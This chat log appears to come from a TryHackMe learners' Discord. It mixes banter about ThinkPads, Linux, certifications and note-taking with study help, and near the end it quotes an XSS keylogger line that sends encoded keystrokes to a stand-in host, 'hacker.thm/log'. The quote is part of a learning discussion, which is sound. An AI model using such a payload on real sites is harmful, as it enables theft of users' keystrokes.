[young egret]

they should hire you for that one

[flat roost]

I think so

[tired peak]

we will return to the stars one day

[fleet turtle]

We will bring think pads

[flat roost]

I’ll call y’all up in 4 years once my scholarship for service is up aight? Best have a juicy salary and merch for me

[sand trench]

[fleet turtle]

Linux will be the operating system of the stars

[tired peak]

our think pads will also return to the stars

[flat roost]

AMEN EVEN SO

[fleet turtle]

You have refined taste

[shut hawk]

[flat roost]

Thinkpad is the hardware that runs the galaxy

[fleet turtle]

From whence they came

[tired peak]

basically all of us will turn to dust then our planet will turn to dust then we will all be star dust because our sun exploded and turned everything to dust

[flat roost]

Forged from fallen meteor

[flat roost]

And only Thinkpad will remain

[sand trench]

one day shadow is gonna own a thinkpad with open source bios/firmware

[flat roost]

The supreme Lenovo reigns

[fleet turtle]

Formed in the center of a dying star

[young egret]

everyone who ever lived will turn to star dust at the same time

[tired peak]

no, it will be the macbook pros

[flat roost]

Blasphemy!

[fleet turtle]

And the toughbooks, they were formed in the collision of a meteor with the moon

[tired peak]

although I think we have a couple million years before that happens

[flat roost]

Or 3 years, at least

Maybe 4

[young egret]

Agreed

[tired peak]

oh 5 billion according to google

[fleet turtle]

That's not a world I'd like to be a part of so I will be leaving this solar system

[young egret]

Definitely not happening in the next 3 years

[flat roost]

Is Google the oracle?

[tired peak]

possibly

[flat roost]

I believe it

It is written

[tired peak]

but all stars die so even if you leave our planet, you will not escape being turned to dust

[young egret]

Yeah google is a pretty big company they would know that i think

Gotta create a raw socket in nASM every port, eZpZ

[flat roost]

Just assume it’s there

[young egret]

nahh dont wanna hit that bash backdoor

[flat roost]

[young egret]

theres no need to scan anything actually just join interpol and subpoena the server owner

[flat roost]

my therapist tells me to let go of knowing whether every port is open, and to just enjoy the journey of the scan

[flat roost]

Exactly, ports open doesn’t matter if you have a serrated knife and access to the cables

[autumn solar]

I just send the port a text message that its GrubHub order is ready. Works every time.

why learn japanese when you can learn [insert programming language that people are extremist about]

[wooden totem]

You can eat pizza for every meal of your life and be fine or something idk

[wild rose]

I live just down the street or so from the Pentagon, but they defiantly don't order out. You could image visiting the Pentagon in your pizza delivery car and greeted at the front gate or even at the metro station.

I know many NSA agents. Just knowing SQL will give you enough power to ask any question about anyone.'

People do ask questions and tips in Advance channels, it's not as widely used as general or room-help

[young egret]

what about using writeups

[fleet turtle]

well i dont assume you can ask about malware in general..

[stark nest]

Advance channel means where people ask questions related to something specific?

[fleet turtle]

more advanced topics like malware and.. some other stuff that i forgot 😆

[devout palm]

It's to ensure that people do it for educational purposes

[stark nest]

so its not on this discord right?

[fleet turtle]

all cool stuff to learn

[wild rose]

I like to follow the directions of the room first, then do my own research as best as I can before using a writeup. But no harm in doing so, I know I've used write-ups when stuck on challenges.

[fleet turtle]

no it is, you just need OSCP or 0xD

to be able to view it

[pale swift]

dude

[wooden totem]

Right, malware and other stuff is only for advance channels and when you get there you'll know what to talk about and what not to even discuss.

No

[weary night]

any drawbacks with running metasploit commands using node's child_processes module

[devout palm]

I mean, of course there might be. But at least it will lower the chances and there will only be the people who know what they are talking about

[flat roost]

[young egret]

idk i felt a bit guilty before for using them, now i put in more effort when stuck on challenges but sometimes its just stuff ive never seen before

[fleet turtle]

even when i do know what i want to ask.. i will still ask everything lmao

[flat roost]

Use them

[devout palm]

And it's kinda of a reward too

[flat roost]

It will acelérate your learning

[young egret]

use them how much

[fleet turtle]

if you learn something, then there is no reason to be guilty

as long as you understand the fundamentals and the processes

[flat roost]

Whatever feels right
If you’re getting stuff done and taking notes ur doing it right

[young egret]

should i look at some and read through as a side activity

when im not doing a box

[wild rose]

Well don't use write-ups just to get points, then you're not really learning the material.

[pale swift]

what r write-ups

previously done answers?

[flat roost]

^ but don’t be afraid to use them to un-stuck yourself

[wooden totem]

Written form of gameplay

[flat roost]

Yes

[fleet turtle]

i listen to/watch walkthroughs when i have the time and im not doing a box

[pale swift]

ahh

[young egret]

yea i only use them to unstuck myselg

[pale swift]

i only use write-ups if im stuck

is that bad?

[fleet turtle]

no

its perfectly fine

[flat roost]

I oftentimes will gloss over it before doing a challenge room

[pale swift]

oh cool then

[flat roost]

To reinforce methodology

Then unstuck myself as needed

[stark nest]

no that's ok

[pale swift]

i try to do a room after reading the material only once

[flat roost]

Yeah everyone does it different just don’t stress about “OMG I USED A WRITEUP IM CHEATING AHH”

[fleet turtle]

another thing.. doing it for the points isnt bad, just make sure you understand the material, doing it only for points can make it hard to focus on and understand the material

[pale swift]

using it only for points is point-less

get it?

[flat roost]

Nobody cares that you’re cheating, the only one you’d be cheating is yourself 🤷🏼‍♂️

[fleet turtle]

its different for each person, it can be used to get unstuck or get an idea of where you want to go/get, to give you an idea of what you are getting into, so so

There are times to try harder and times to study

[pale swift]

i use obsidian to write notes

[flat roost]

That in fact is the principle of reinforcement learning

[wild rose]

I know I did it when using certain commands I forgot to note down.

[fleet turtle]

1/8? this is like how they do pizza parties at work or school, 1/8th of a slice

[stark nest]

the syntax is the only hard part for me

[flat roost]

Unless you’re like me and didn’t have good note-taking when you did it

[fleet turtle]

http headers have me fucked up all the time

trying to remember content types, what not

[flat roost]

Now imagine writing IDS/IPS rules for headers all day

[pale swift]

do yall write notes in books or in a note-making app?

[fleet turtle]

NOOOOOGERT OUT OF MY SKIN STAY OU TOF MY HEAAAAD

https://tenor.com/view/stay-in-the-box-get-gif-233802832500378753

[wooden totem]

The trick is to not eat any and let fewer people eat more, then treat yourself to a whole new pizza for yourself

[wild rose]

Ehhh sme times you want to rush and finish a room, but note taken can be a bore...

[flat roost]

THE WORMS

[flat roost]

Obsidian is good

[stark nest]

i have clicked a room called linux modules cuz its was with easy tag its filled with syntax i get stuck everyday with something

[pale swift]

ye
i use it asw

[fleet turtle]

crowdstrike summed up

[pale swift]

@flat roost how do u take notes from THM and put it in obsidian?

[flat roost]

🤷🏼‍♂️ works for some, for plenty of people it’s just anxiety inducing and not productive. Follow what makes you progress, we all learn different

[wild rose]

I'm using Obsidian, but also taking a look at Notion. Either or as long as you're taking some good well thought out notes.

[flat roost]

Copy and paste, condense, screenshots, all that jazz

[devout palm]

I use vim btw

[pale swift]

oh ok

[wooden totem]

Same energy as I use arch btw

[stark nest]

oh bro you cooked it

[pale swift]

i always thought note-taking would be complex

[flat roost]

Nah

[fleet turtle]

i dont care enough to use a note taking app, i either just put my notes in a discord server or just cat > notes.txt and use nano

[devout palm]

No i am completely sane

[flat roost]

Whatever works

[gray sonnet]

Hi zumi :D 👋

[wooden totem]

Taking notes is fun (ignore the boring pages without pictures)

[young egret]

u do notes per room and keep them? Like a mini writeup or do you mean like

[pale swift]

nano is linux-based?

[young egret]

noting new tricks

[fleet turtle]

something vim something something how to exit vim something

[gray sonnet]

you should see the nano cherry room

[flat roost]

I do it per topic

[gray sonnet]

Hope all's well

[wild rose]

It's good to be able to pull up your notes when searchable to cut down time.

[young egret]

same

[devout palm]

Less practical

[pale swift]

is nano linux-based?

[flat roost]

Pretty much

[wild rose]

I mean you can always use nano and grep what you want.

[gray sonnet]

ouch

[wild rose]

just got to try harder.

[wooden totem]

I need colored graphics to comprehend words next to it!

[gray sonnet]

I personally don't think I got that try harder mentality, mostly cause I don't know half the shit

[wild rose]

Which reminds me, I need to get back to taking my practice exams for AWS security... dies inside...

[flat roost]

AWS security specialization?

[devout palm]

That's the point, you learn by researching

[gray sonnet]

really takes a toll on your mental health huh, He'll pass the next time 😄

[pale swift]

oh

[flat roost]

Or GCLD/3rd party

[fleet turtle]

oh no not the letters i dont understand again

[gray sonnet]

yeah

I 100% agree

[wild rose]

Yeah.

[flat roost]

It’s a fun one

I like AWS exams

[wooden totem]

Shoutout to everyone that read the physical form linux book set

[fleet turtle]

my goal is to get to 0xD so i can have a cheesy hacker pfp and append punctuation to my sentences

[wild rose]

Mutliple choice, but still pretty technical about their answers.

[flat roost]

Shortcut is just to have autism

[gray sonnet]

can someone give me suggestions for a box on THM?

looking for anything between medium and hard

[stark nest]

I just realized i had 3 tabs open for google in all them i am search words like that

[flat roost]

Yeah exactly. I prefer GIAC in that regard but AWS material is solid since it’s their own stuff hahahh, but I digress

[fleet turtle]

yeah but then you cant back up your cheesy hacker pfp with knowledge and you have to delete yourself from the internet and run into the woods

[gray sonnet]

aye, no problem 😄

[flat roost]

Do MrRobot blindfolded

[gray sonnet]

I did

a LONG time ago lol

[flat roost]

LMAO real

[gray sonnet]

I need to get good at web lol

[wild rose]

SANS is if your company is willing to pay for it. My budget comes from my contractor.

[gray sonnet]

mine was pickle rick haha

[flat roost]

Just say “I left my exploits on my encrypted hard drive and lost the password”

eZ

[fleet turtle]

web with dev tools, idor, and ssrf is all i know rn

[young egret]

based box

[fleet turtle]

forgot the password to the mainframe

[gray sonnet]

I need to do a lot of sqli, XSS, ssrf and ssti haha

I'm also absolute garbage at windows boxes lol

[fleet turtle]

my next room is xss

[flat roost]

Agreed
I’m on scholarship but I only have about 2k to spend so I’m thinking OSCP might be the most worthwhile to go after once I have my CISSP, because anything GIAC will be more

[small bronze]

hii

[flat roost]

Happens to everyone

[gray sonnet]

yeah, but it costs money lol

[fleet turtle]

i literally have some cheesy pfps saved and im just gonna change my pfp each time i level up

[flat roost]

Perfect

[fleet turtle]

im not doing this for a job or a cert just for a cheesy pfp and some knowledge

the best motivation

[flat roost]

Pure autistic joy, that’s what motivates most of us

[wild rose]

You'll need about 5 yrs of experience to take CISSP. OSCP is if you're going into red team engagements. If that's your goal go for it!

[flat roost]

I’ve got 4 rn and GSEC/others that shave off another year for CISSP, so I will be going for that, but yeah I have 2k for next years’ professional development fund that I gotta put to good use, put into a solid cert on a budget, one I don’t already have hahah. So OSCP was the thought since it’s so spoopy

[fleet turtle]

damn ive got 18,858 points till i can go to hackernames.org/form?server=sketchylink.net&x=

[flat roost]

Uh oh

[fleet turtle]

bruh took me forever to remember the ssrf open redirect thing that joke used like 99% of my energy

[wild rose]

That's good, you currently working/what's your role?

[fleet turtle]

tab out, tab back in, type 1 letter, tab back out

[wild rose]

yeah that can take ages to preform. haha

[autumn solar]

I'm lucky my job is paying for upskilling is all I'm gonna say

[flat roost]

[insert role here]

[autumn solar]

Most certs are expensive these days 😂

[loud marlin]

going better 🙂

[fleet turtle]

riced kali 👍

[gray sonnet]

how do you have a terminal? in OBSIDIAN???

[flat roost]

Terminal embedded in Obsidian? That’s kinda a game changer

[loud marlin]

yes my dear

need to config it a bit but it's there

[flat roost]

Is that just i3-gaps?!

[loud marlin]

is not i3

[gray sonnet]

aye, got it

[gray sonnet]

dwm?

[loud marlin]

hyprland

[flat roost]

Uninstall rn

[gray sonnet]

Ah

[wild rose]

right but it's the start.

go to look forward when thnking about goals.

[flat roost]

It’s a gateway cert for offensive ops

[devout palm]

I had some problems with the hyprland due to my GPU being insufficient

[flat roost]

newegg .com

[devout palm]

I'm not planning to get a new one

So

I just went for the KDE

[flat roost]

What if I ask you politely

To get a new GPU

[devout palm]

Then i politely reject it

[flat roost]

Dang, so close

[devout palm]

I don't play games so

[flat roost]

Fair enough

[devout palm]

I just got a new keyboard and now i want to code badly

[flat roost]

I bet you can code badly if you set your mind to it

I do it all the time

[sand trench]

congratz you have answered more then 10 times the questions shadow has answered this week

[devout palm]

Mhm

It's hard me to keep doing something for a long period of time

[fleet turtle]

💪

[wild rose]

but Shadow show them your streak.

[stark nest]

what the most stupid thing you ever done related to hacking I bet its not stupider then mine

[devout palm]

I shut the OS down when I couldn't quit Vim.

[sand trench]

sure

[stark nest]

you are not even near to me

[loud marlin]

@sand trench progress, progress

[sand trench]

yeah....

[fleet turtle]

streak takes time, questions answered takes effort 💪

[sand trench]

gotta redo a lot of the early rooms to figure out how to restructure the notes

[flat roost]

I’ve been lurking since you started your streak but don’t have your commitment
Imagine how much I could have grown in this time 🤷🏼‍♂️

[devout palm]

This is my nightmare. Too much notes

[flat roost]

I’ve gotta do that as well

[wild rose]

Does testing rooms go towards your streak?

[sand trench]

yes answering a single question in a room testing room will increase the streak by 1

same happens for other private rooms too

[flat roost]

So theoretically I can have an unpublished room with infinite questions

And build an infinite streak with a Python script

[gray sonnet]

Shadowww! Hai

[sand trench]

yes

[flat roost]

Cool

[sand trench]

and no

[sleek robin]

guys we need professional crypto player for blackhatMEA CTF

[flat roost]

Is it only published rooms or something

[sand trench]

nah more that you are not allowed to automate it

[flat roost]

Oh gotcha

Allowed to is not the same as “can” though

In theory you could, yeah?

There’s no real benefit to it

[sand trench]

@mossy river can explain why doing it would be bad

[flat roost]

But

[gray sonnet]

Breaking TOS?

[flat roost]

Oh yeah not saying either that it wouldn’t be bad

[flat roost]

Yeah I would assume it breaks TOS too hahah

[sand trench]

hmmmmmm what button combo to setup to start obsidian for note taking....

[gray sonnet]

ALT+F4

[fleet turtle]

abcedefg

[sand trench]

meta + n is already taken for file browser

[flat roost]

Middle mouse click

[gray sonnet]

what about meta+O?

[sand trench]

you know... could probably do that but then it would cause other issues

[flat roost]

Seems intuitive

[sand trench]

possible but slightly annoying to hit

was thinking more meta + h

[gray sonnet]

yeah, makes sense

[flat roost]

Hobsidian

[sand trench]

h for hacking notes

[gray sonnet]

I don't know why I'm watching insym play mortuary assistant...

[flat roost]

Love it

[tranquil sable]

I really studied this week

[flat roost]

Time to stop wasting time in the server, it’s been good all

I will go waste time elsehow

[fleet turtle]

same here lmao, imma stop the chatting and finish up this SSRF room, gotta stop procrastinating 😮‍💨

[fleet turtle]

damn i hope to be like you someday man

thats a lot of questions

[tranquil sable]

Ino right?

[wild rose]

I forgot why I even started chatting on here.

oh it was about pizza

[fleet turtle]

being active here tends to be educational and fun for me

[wild rose]

so hungry now.

[fleet turtle]

idk how, but the dark mode look is neat

[sand trench]

oh that is from dark reader

[fleet turtle]

this morning my eyes were ltierally tearing up because the fucking light theme was absolutely killing me while doing the ssrf stuff

[sand trench]

with catppuccin colorscheme selected in dark reader

[fleet turtle]

ill look into it

[sand trench]

it is easy to setup and works for most sites out of the box

then for some others you can use userstyles but there is basically no userstyles for tryhackme

[rapid merlin]

Did you ever notice dark made makes your pc run a bit slower?

[sand trench]

well nope

but even if it did so would basically any theme or wallpaper switching

[rapid merlin]

Weird for my set up then I guess. I found dark reader made it run slower. But I use rp's so

[sand trench]

well it messes with css files

so guess it could cause a tiny bit of a slowdown

but it is so minor shadow don't notice

[rapid merlin]

fair

[cold forge]

Thank you. This seems helpful.

[fleet turtle]

unfortunately i now understand what that one guy was saying about him needing to know java for web pen testing now tat im on xss

[sand trench]

quite good

[fleet turtle]

once i get advanced channels i will start learning js for xss

[buoyant tree]

Also a lil recommendation, don't go to the DLC floors until you finish the main game

It get's a lil confusing

[sand trench]

well only went to the floors the main story points at so far

[fleet turtle]

gonna crack open an energy drink and see if i cant get more rooms done

[sand trench]

oooh what flavour???

[fleet turtle]

liberty pop 🦅 🔥

[crude stump]

Bros drinking LiberTea

[rapid merlin]

alright well mint sucks

why updating drivers is so complicated

[sand trench]

oh that

[molten sky]

solid game

[sand trench]

think it is because of how ubuntu does it

[fleet turtle]

LMAO +REP

[twin ridge]

[sand trench]

yuups but no clue what to write in the steam store recommendation box

[rapid merlin]

well I hate ubuntu

[molten sky]

"solid game"

[rapid merlin]

and I hate windows too

I'm gonna go use temple OS

[molten sky]

wise

[sand trench]

well go for fedora or endeavour os then

[molten sky]

fedora kde

[fleet turtle]

ubuntu and windows are basically the same just different bases

[fleet turtle]

MINT COUGH COUGH COUGH COUTGH

mint is de-canonicaled ubuntu

[rapid merlin]

I'm gonna get same issue

[sand trench]

lyés already said they had problems with mint

[molten sky]

ehm
that's where he's having problems

[rapid merlin]

nvidia drivers don't install

[autumn solar]

Ubuntu has its uses. I distro hopped probably every six months before settling on a hardened form of Debian with SELinux.

[fleet turtle]

aw thats unfortunate

[fleet turtle]

have you tried manual install

[rapid merlin]

yep

spent 3 hours

[sand trench]

nah.... on endeavour os it is a single normal package in the repos for nvidia drivers

[fleet turtle]

unfortunate

[sand trench]

and it is setup perfectly after the first install if you choose the nvidia install option

[rapid merlin]

idk I might just sell my pc and go hide in the mountains

[sand trench]

control not being one of those

[molten sky]

wdym? control works great

[sand trench]

using steam:s proton for control

[rapid merlin]

well what's loosing 1 more hour I'll give it a try then

[sand trench]

anyways gonna go play more control now... laters

[molten sky]

ah, i follow. does work great tho i will say

[sand trench]

nope use pc with linux

[fleet badge]

hi guys. Someone know the ssh password from Vulnversity?

[mossy river]

@boreal scarab

[crude stump]

Cmon you need more then that

Fill it up

[rapid merlin]

No sour cream or nun as the base?

[mossy river]

It won’t fold ;( already tried

[crude stump]

Damn

[mossy river]

Forgot to buy sauce

[crude stump]

Stupid tortilla

[rapid merlin]

Damn

[mossy river]

Was supposed to have onions too but I forgot

[rapid merlin]

@mossy river also if it won't fold try to make a quesadilla with it perhaps? Maybe cut it a bit

[mossy river]

Nahh it’s fine, I don’t need to pack it that full

[eternal timber]

Me when I have to type commands to move my character(I use Linux)

[wraith drum]

Hello everyone

[crude stump]

Aren’t you supposed to be in my remote

[wraith drum]

Oh yeah, my bad bro

[autumn solar]

All this talk about quesadillas makes me wanna book it to Costco for some Mexican food

Street tacos ❤️

[rapid merlin]

Some birria tacos for me

I'm eating Indian food later

Ordering it from this place

[autumn solar]

Birria good too

[rapid merlin]

that looks so good but melt the cheese lol

[mossy river]

Melts when I put it in the pan after folding the wrap 😛

[rapid merlin]

send a pic when it melts because that presentation already looking 100

[autumn solar]

Had an epic dish at a Mexican restaurant close to me where they gave at least three different sauces to dip it in including beef broth

[mossy river]

I.. uh… ate them all

[sand trench]

[gray sonnet]

makes sense

[gray sonnet]

ah, nice!

[sand trench]

triple A secure contain protect game basically

yeah heard so too but dunno how they relate

as not played alan wake

also alan wake 2 is not on steam... huge bummer

[small nexus]

what applycation do ou use for hacking?

/pentesting

i hate python

[sand trench]

but they so cute and goofy

[sand trench]

will buy and play the alan wake games some time in the future

but the entire series not being on steam sucks

shadow personally likes owning the games so that they can install and play whereever

but steam kinda is not like that with steam drm

still steam is the best gaming platform shadow has found and used so far

[maiden olive]

i love this gif

[fleet turtle]

https://tenor.com/view/metasploit-meterpreter-kali-linux-kali-gif-18347002

cant wait tiill i get to the metasploit module and can relate to this

oh nooo not sql

[supple tangle]

epic gave that game out a while ago, now i actually wanna play it if its really like scp

[fleet turtle]

im gonna dread that bruh learning a lang for this is gonna be rough, the burnout will be crazy

[sand trench]

it is its own universe but the similarties are striking

[fleet turtle]

hopefully by then i already have the skills to do a CTf and in turn the motivation to actually learn something more

[crude stump]

I downloaded scp but it’s so confusing

[fleet turtle]

we will see how it goes

for now i am on xss

[loud marlin]

SCP-4043 ❤️

[fleet turtle]

lmao

[crude stump]

What is it

[supple tangle]

downloaded? you mean some game based on scp?

originally its just a wiki

[crude stump]

The game on steam

[fleet turtle]

hopefully by tommorow i actually have the energy t-

[loud marlin]

its SCP thing...

[fleet turtle]

OOOOOOH SH(IT

[fleet turtle]

this room better be fun bro

otherwise im gonna get crazy burnout

[graceful thistle]

your favourite gif huh 😉 hahah

[fleet turtle]

ive got many things to be frustrated about lmao

[graceful thistle]

😂

keep at it!

also that yeah

[fleet turtle]

hoooooooooooooly shit man

[graceful thistle]

keep at it at a good pace 😄

[fleet turtle]

im probably gonna either only do one room tommorow or use my streak freeze so i dont get burnt out

[crude stump]

What is happening

[fleet turtle]

i have no clue bro

[crude stump]

No I mean

Why you freaking out

[fleet turtle]

i dont understand a single bit of this

[eternal timber]

Burp is fun

[fleet turtle]

it doesnt even explain the syntax it just says what it does

[autumn solar]

https://tenor.com/view/wow-huh-what-excuse-me-what-did-you-say-gif-16867350

[eternal timber]

The SQLi section was so boring to me

[boreal scarab]

[fleet turtle]

bruh the rest of this module is gonna be a crawl to get through

[eternal timber]

I just skipped the sqli module lmao

[crude stump]

It’s just me but I kinda find the red team rooms boring

[fleet turtle]

the main thing throwing me off is function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

[eternal timber]

I’m at the burp suite stuff rn

[fleet turtle]

everyone wants to do the hackerman red team nobody wants to do the very much essential blue team

actually i will probably watch a walkthrough for the xss and hopefully that breaks down the syntax

[crude stump]

I mean they are both essential

[eternal timber]

😪

[umbral bay]

btoa, my favorite. 😄

[fleet turtle]

woah a wild timtaylor

I only know that guy from Zoom

i try to, its what i did with curl and ffuf, im gonna either use a streak freeze tommorow or watch a walkthrough and try understanding it and getting some questions done

[umbral bay]

What is the opposite of btoa? 🤔

[crude stump]

aotb

[eternal timber]

aotb

[crude stump]

Said it first

[fleet turtle]

i have no clue what btoa even is man

[simple bone]

btoa|aotb

[fleet turtle]

https://tenor.com/view/yakirya60hz-gif-25814802

oh nvm its not that bad

i will bookmark this and tommorow i will read up on this and watch a walkthrough or read a write up

even if i only do 1 question as long as i gain some understanding of js for xss thats fine by me

i see i see

But that’s because I never did that room so idk what yall are even talking about

[coarse moth]

what is your THM profile name

[fleet turtle]

nah i do understand btoa and atob make more sense now but thats like 1% of the need to know for xss, im gonna take a look at a walkthrough today to brush up, and tommorow do some reading

[crude stump]

What string

Oh

You don’t gotta be a pro

id rather have it broken down in one paragraph then spend a while scouring for a site that explains it straight to the point

I’m a professional LLM hater

[crude stump]

Twins

[simple bone]

Apologies I thought u were jabba!

[fleet turtle]

..what command

[crude stump]

Man

Yk manual

[fleet turtle]

no he said man page for a command

including syntax?

like fetch or <script>?

[crude stump]

I bet if you look up the script there are similar scripts people talk about

[fleet turtle]

i just need a quick and concise way to have the syntax broken down

like this i need to learn why at the start it is <script> but at the end its </script>, why there needs to be a </script> at the end at all, what the function of the semicolon is here, etc etc..

[graceful thistle]

<p>those are just opening and closing tags</p>

[crude stump]

To end it prolly

Like

[supple tangle]

hmmm sounds like you skipped the http room?

[fleet turtle]

does it have to be script?

in this case

[graceful thistle]

if you want to do inline JS, yes

but there are many other tags in HTML

but those wont be super relevant to you

[fleet turtle]

ive done every room this path has given me so far..

[graceful thistle]

the entire DOM is made up of these tags

[supple tangle]

idk which path youre on

[fleet turtle]

jr penetration tester

[supple tangle]

oh, did you do pre security?

[simple bone]

Make a quick and easy website with some JS to do something simple. You'll learn enough

[fleet turtle]

no because i thought i had enough prior experience but im rusty ive realized

[graceful thistle]

the DOM = the document that is referred to in that code. onkeypress is the keypress event, which is what that e param is in function(e)

[crude stump]

Funny enough I got to the ftp part and got bored. I should go back to it

[chilly veldt]

Dis Original Markup

I am tired

don't mind me

[supple tangle]

you could just do the http in detail room, it explains html
or freecodecamp has nice course on it too

[fleet turtle]

alright i need to watch a walkthrough or get the syntax broken down or something and do http in detail because ive been trying to memorize my headers too

[crude stump]

Also ik it might be obsessive but for stuff you have a hard time understanding. Copy and paste it in your notes and review it whenever you want to

[supple tangle]

yeah thats my approach

[fleet turtle]

yeah ive been doing that so far

[supple tangle]

no way i could remember OSI without taking notes

[fleet turtle]

actually hold on im tripping

this isnt THAT bad

the brackets just make it seem crazy

it makes it look blurry almost

[crude stump]

Funny enough ik OSI from 1 to 7 but explaining all the layers in detail is challenging for me

[fleet turtle]

like wtf is going on here man

im just gonna have chatgpt break down the syntax, take away what i can from it and write it down, watch a walkthrough tommorow and then get er done

and once i do xss im gonna do http in detail

since i need to get my headers down man

like the content_type and urlencoded shit kills me

even though i have tons of notes on it its still iffy

[graceful thistle]

just closing all the parenthesis and brackets

hehe

[fleet turtle]

man its hard to keep track of

[graceful thistle]

it's not scary

nah you'll get used to it

[simple bone]

Anything opened must be closed
( )
{ }
[ ]

[crude stump]

Think about it this way. When you code something it needs to be enclosed some how. When it’s not closed it gets scrambled with all the other code and doesn’t work.

Basically what magna said

[worn thorn]

you can pull apart parentheses in multiple lines to see if you missed one.

[graceful thistle]

function onMount(() => {
  // do something
});

it looks 'messy' but we are just closing whatever we opened. Normally we would write functions on multiple lines like this instead of inline, so it indeed looks easier to read

[graceful thistle]

holy

yeah.

[fleet turtle]

what does document mean here

[graceful thistle]

the DOM

https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction

read this ^

[fleet turtle]

my main thing is just the e.key and the dom now

[worn thorn]

It sure does look interesting but in a cursed way.
